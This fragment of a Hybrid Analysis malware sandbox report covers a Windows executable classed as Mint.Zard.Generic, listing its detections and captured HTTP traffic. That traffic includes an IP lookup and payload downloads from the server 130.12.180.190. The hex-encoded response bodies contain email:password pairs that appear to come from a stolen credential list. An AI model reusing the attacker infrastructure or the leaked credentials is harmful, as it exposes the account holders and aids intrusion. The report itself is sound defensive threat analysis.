26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 37:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T491,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample 2012c7af2da6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2012c7af2da6…. Malware family: Mint.Zard.Generic. Threat score 100/100. 15/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2012c7af2da6b649bc2bb58f54837b200cafecc44ceda8d5e2e43b0ea205ac97","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","2012c7af2da6b649bc2bb58f54837b200cafecc44ceda8d5e2e43b0ea205ac97"],"about":{"@type":"SoftwareApplication","name":"ph6_1_.exe","applicationCategory":["peexe","executable"],"identifier":"2012c7af2da6b649bc2bb58f54837b200cafecc44ceda8d5e2e43b0ea205ac97","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":15,"total":28},"behavioralIndicators":{"malicious":4,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T532,Contains base64 string in header "like" in header "GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com" Contains base64 string in header "4664" in header "GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com" Contains base64 string in header "like" in header "GET /xxx/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 130.12.180.190" Contains base64 string in header "4664" in header "GET /xxx/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 130.12.180.190" Contains base64 string in header "like" in header "GET /xxx/15339.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 130.12.180.190" Contains base64 string in header "4664" in header "GET /xxx/15339.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 130.12.180.190"28:T775," HTTP/1.1 200 OK Date: Mon 06 Jul 2026 17:13:52 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=Mb_XC4AZibct5bQ8ZItGaKRIFlqQuisijhnmzu784Lk-1783358032.6381912-1.0.1.1-4OVw9GQETBfKCFny6m8W4DtO7k3klxOhSBlFTzla.8XbVolSDISFvLf0eNl39VXkKRjMsPyZ6kuNzJznR95m.ybY8xtoYHAlrLToHX5O3z1p1rAVzeExp_fvvwcUMmFd; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Jul 2026 17:43:52 GMT Server: cloudflare CF-RAY: a1703e17fa752db2-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /xxx/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 17:13:52 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Thu 11 Jun 2026 21:51:26 GMT Connection: keep-alive ETag: "6a2b2dde-6" Accept-Ranges: bytes with response body ==>36363036390A....... "GET /xxx/15339.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 17:13:53 GMT Content-Type: text/plain Content-Length: 276480 Last-Modified: Wed 10 Jun 2026 11:54:00 GMT Connection: keep-alive ETag: "6a295058-43800" Accept-Ranges: bytes with response body ==>34380A72656D7330344077696E647265616D2E6E65743A5068696C69706D6F6D6F3838210A616E67656C69733240677465632E636F6D3A4C696C6C7936392A0A.......2c:T725," Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a4be23a9ffe60845b044a9d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"